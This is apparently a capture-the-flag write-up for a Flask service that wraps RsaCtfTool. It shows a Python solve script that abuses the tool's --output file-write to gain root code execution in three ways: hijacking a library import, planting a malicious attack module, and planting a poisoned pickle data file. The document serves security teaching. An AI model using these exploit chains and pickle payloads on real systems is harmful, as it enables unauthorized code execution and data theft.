Rsactftool
5 minutes to read
We are given with a Flask that essentially allows us to run RsaCtfTool
:
import subprocess, os
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
PARAMS_WHITELIST = ['--attack', '-n', '-e','-d','-p','-q', '--private', '--decrypt', '--verbosity', '--cleanup', '--isroca','--output', '--isconspicuous', '--check_publickey', '--timeout']
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
@app.route('/')
def index():
return render_template('index.html')
@app.route('/exec', methods=['POST'])
def exec_tool():
data = request.json
params = data.get('params', [])
if not params:
return jsonify({'error': 'No parameters provided'})
results = []
params_list = []
try:
for param in params:
param_name = param.get('param')
content = param.get('content')
if not param_name or not content:
return '[ERROR]: Missing parameter or content'
elif param_name not in PARAMS_WHITELIST:
return '[ERROR]: Invalid parameter'
params_list.append(param_name)
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
elif param_name == '--attack':
content = content.lower()
else:
content = str(int(content))
params_list.append(content)
except Exception as e:
return str(e)
try:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
except Exception as e:
return str(e)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Source code analysis
Basically, we can use /exec
to run RsaCtfTool
using the following white-listed parameters:
-n
,-e
,-c
,-p
,-q
--decrypt
--attack
--output
--verbosity
--cleanup
--isroca
--output
--isconspicuous
--check_publickey
--timeout
However, the relevant options are only 1 through 4, included.
The server will check these parameters and eventually execute the tool:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
Notice that the current working directory is set to /opt/RsaCtfTool
.
Also, notice that the --output
parameter is checked separately:
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
Where sanitize_path
is this function:
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
This allows us to create and write files inside /opt
, but not to modify existing files. So, we can get a file write primitive.
For this to work, we need to encrypt the content with RSA and then tell RsaCtfTool
to decrypt it for us and output it to the path we desire. Since we can provide the private RSA key, there is no problem.
Solution
The following function will help us writing files on the server:
#!/usr/bin/env python3
import requests
import sys
from Crypto.Util.number import getPrime
URL = 'http://127.0.0.1:5000' if len(sys.argv) == 1 else sys.argv[1]
p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 65537
def write_file(filename: str, content: bytes):
assert len(content) <= 256
m = int(content.ljust(256, b'\n').hex(), 16)
c = pow(m, e, n)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '-p', 'content': p},
{'param': '--decrypt', 'content': c},
{'param': '--output', 'content': filename},
]
})
We need to pad the message up to 256 bytes (2048 bits since we are using RSA-2048) with newlines or whitespaces because otherwise RsaCtfTool
will add leading null bytes, and we don’t want that to happen, just to prevent any issue.
There are actually several approaches to solve this challenge. We will go from the easiest to the hardest.
The Python library hijacking way
Remember that we are allowed to write new files at /opt
, therefore, we can write into /opt/RsaCtfTool
. There is no permission issue because the server is running as root
according to the Dockerfile
.
Therefore, if we take a look at how RsaCtfTool.py
looks like, we see some import
statement at the beginning, as usual:
The way import
statements work in Python is using the PYTHONPATH
environment variable. If it is not set, we can check the path in sys.path
:
/app # python3 -q
>>> import sys
>>> sys.path
['', '/usr/local/lib/python313.zip', '/usr/local/lib/python3.13', '/usr/local/lib/python3.13/lib-dynload', '/usr/local/lib/python3.13/site-packages']
The first element of the list is ''
, which means that import asdf
will first check if there is a file asdf.py
at the current working directory. If not, it will continue trying other locations on the list.
As a result, we can write a file argparse.py
or urllib3.py
(or any other package that is not built-in) and execute arbitrary Python code. So, we can use the following Python code to copy the flag file into the static
directory of the Flask server, so that we can retrieve it afterwards:
write_file(
'/opt/RsaCtfTool/urllib3.py',
b'import os; os.system("cat /*.* > /app/static/flag.txt")'
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Notice that we need to execute RsaCtfTool.py
again to trigger our payload. The command will fail, but we don’t care because the payload will execute successfully.
The new-attack way
Here we will abuse the way RsaCtfTool
are loaded. They have a Python file for each attack at attacks
and load them dynamically at startup:
Therefore, we can create an exploit.py
attack right there, so that it gets loaded. Then we can use --attack exploit
to load our controlled attack, which will allow us to get arbitrary Python code execution.
We can take a look at a short example:
So, we can understand that each attack is just a Python class called Attack
that extends AbstractAttack
and holds methods attack(self, publickey, cipher=[], progress=True)
and test(self)
. As a result, the following will also work to get the flag:
write_file(
'/opt/RsaCtfTool/attacks/single_key/exploit.py',
b'''
from attacks.abstract_attack import AbstractAttack
class Attack(AbstractAttack):
\tdef __init__(self, t=60):
\t\tsuper().__init__(t)
\tdef attack(self, k, c=[], p=True):
\t\timport os; os.system("cat /*.* > /app/static/flag.txt")
\tdef test(self):
\t\tpass
'''[1:])
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'exploit'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Notice that we need to keep the Python class short enough to fit in 256 bytes.
The pickle
way
There are more ways to get code execution in Python. If the program deserializes a pickle
payload that can be controlled by the user, then it can be vulnerable.
Actually, RsaCtfTool
uses pickle
:
The rapid7primes
is an attack that takes a set of stored prime numbers and tries to factor the public key. These prime numbers are stored in the data
directory as compressed pickle
payloads:
And there is no limitation on the pickle
:
So we can get easy code execution with the following payload:
/app # python3 -q
>>> import pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> pickle.loads(pickle.dumps(Bad()))
root
Let’s write the following code to exploit the server:
import bz2
import pickle
class Bad:
def __reduce__(self):
return exec, ('import os; os.system("cat /*.* > /app/static/flag.txt")', )
write_file(
'/opt/RsaCtfTool/data/exploit.pkl.bz2',
bz2.compress(pickle.dumps(Bad()))
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'rapid7primes'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Flag
With any of these three approaches, we are able to get the flag:
$ python3 solve.py http://hackon-9671f040a28f-rsactftool-1.chals.io
HackOn{I_H0p3_Y0u_s0lv3d_1t_w1th_th3_1nt3nd3d_s0lut10n_4nd_rem3mB3r_r34d_th3_t00ls_b3f0r3_3x3cut1ng_tH3m}